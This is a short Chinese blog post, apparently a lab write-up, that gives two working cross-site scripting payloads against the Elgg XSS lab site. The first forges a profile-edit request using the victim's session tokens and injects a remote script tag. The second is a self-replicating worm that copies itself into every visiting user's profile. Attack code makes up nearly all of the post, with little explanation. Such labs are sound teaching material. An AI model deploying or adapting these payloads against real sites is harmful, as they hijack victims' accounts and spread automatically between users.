简单的XSS攻击

首先寻找攻击入口:


然后在里面写入js代码,如果js代码太长不能满足格式长度要求的话那就直接导入js文件

攻击代码如下:

var Ajax=null;
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The<span style="font-family: Arial, Helvetica, sans-serif;"> format of the content can be learned</span>
// from LiveHTTPHeaders.
var briefdescription="<script src='http://www.xsslabelgg.com/file/download/57' type='text/javascript'></script>";
var content="name="+elgg.session.user.username+"&description=fuckfuckfuckfuckfuckfuck&guid="+elgg.session.user.guid+"&__elgg_token="+elgg.security.token.__elgg_token+"&__elgg_ts="+elgg.security.token.__elgg_ts+"&briefdescription="+briefdescription+"&accesslevel[description]=2&accesslevel[briefdescription]=2"; 
// You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);
当不使用js导入时,攻击代码如下:

<script id="worm" type="text/javascript">
var strCode = document.getElementById("worm").innerHTML;
var sub_script_begin="worm<script id=worm>";
var sub_script_end="<\/script>";
var sub_script=sub_script_begin.concat(strCode,sub_script_end);
sub_script = escape(sub_script);
var Ajax=null;
// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The format of the content can be learned
// from LiveHTTPHeaders.
var content="name=".concat(elgg.session.user.username).concat("&description=").concat(sub_script).concat("&guid=").concat(elgg.session.user.guid).concat("&__elgg_token=").concat(elgg.security.token.__elgg_token).concat("&__elgg_ts=").concat(elgg.security.token.__elgg_ts).concat("&accesslevel[description]=2"); 
// You need to fill in the details.
// Send the HTTP POST request.
Ajax.send(content);
alert(content);
</script>
这是采用worm方式进行的攻击,当受害者浏览时可被感染。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值